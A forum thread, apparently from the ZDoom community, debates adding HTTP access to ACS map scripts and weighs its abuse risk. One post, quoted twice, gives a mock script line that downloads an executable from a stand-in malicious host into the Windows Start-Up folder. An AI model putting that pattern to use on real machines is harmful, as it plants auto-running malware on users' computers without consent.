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Post by HotWax »

cutmanmike wrote:
Bio Hazard wrote:um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...

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script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}
My thoughts exactly
And nobody asked for that!!

A better example would be this:

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script 1 (void) {
     GetStatsFromWeb("http://stats.zdoom.org/statfile.xml", frags, deaths, suicides, blah);
}
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Post by Agent ME »

Bio Hazard wrote:um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...

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script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}
What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.
Agent ME wrote:I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)
If you wan't the daily ZDoom news quickly put it on active desktop.
That was just an example of one thing you could do.
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Post by HotWax »

What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.
I'd also add to that that it's exactly what your internet browser does in order to let you read this page. :roll:
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Post by Simbey »

I think making an interface for accessing web pages is a great idea. You could integrate your maps with databases and other interactive content by calling through common gateway interfaces.

I'm sure Randy could easily avoid buffer overflows and other vulnerabilities. Just keep it simple. Don't use WinInet, for example.
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Post by HotWax »

It also opens up possibilities such as (for example) the ability for someone to make a website with regularly updated content that then feeds into a WAD which uses the website to unlock new areas and such on cue.

At this time though, I think I'll point out that all this is probably just a dream that will never become reality. I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.
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Post by Simbey »

I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.
No new protocols needed. HTTP would work fine. The ACS scripts could easily send query variables as part of the URL to be interpreted by any ASP, PHP, EXE, etc. running on a web server.

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script 1 (void)
{
    CallWebService("http://www.zdoom.org/services/login.asp?user=Simbey", strResponse);
}
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Post by HotWax »

I wasn't aware that ZDoom already supported HTTP.

:roll:
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Post by Cutmanmike »

Hey, everyone loves my opinion :trippy:
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Post by Graf Zahl »

Some people just don't have a clue how much work some things can be... :?
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Post by Simbey »

I guess that can be my contribution then. Does ZDoom compile under MSVC 6? I think I can get a copy of that. So as soon as I can compile ZDoom, I'll add that feature.
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Post by Graf Zahl »

ZDoom requires VC .NET to compile.

But my primary question is: What would you want to do with this feature in ACS? I can't see much use for it but the risk for abuse seems awfully high.
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Post by jallamann »

Like ActiveX?
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Post by Simbey »

Like ActiveX?
Not from my perspective. I get paid to write ActiveX controls.
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Post by jallamann »

You do know that ActiveX is renowned for being not safe, right?
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Post by Simbey »

ActiveX is great for Intranet sites, and it's a great way to extend the abilities of an ASP script.

Anyway... I'm not sure how an HTTP interface could be written that returned the server's response to an ACS script. I can compile ACC with MSVC 5, and I had no problems adding functions to it for HTTP support, but I have no idea how to return a string value! I've been looking through the "p_acs.cpp" file from ZDoom's source, and it doesn't look like it's possible.

What do you think, Graf Zahl?

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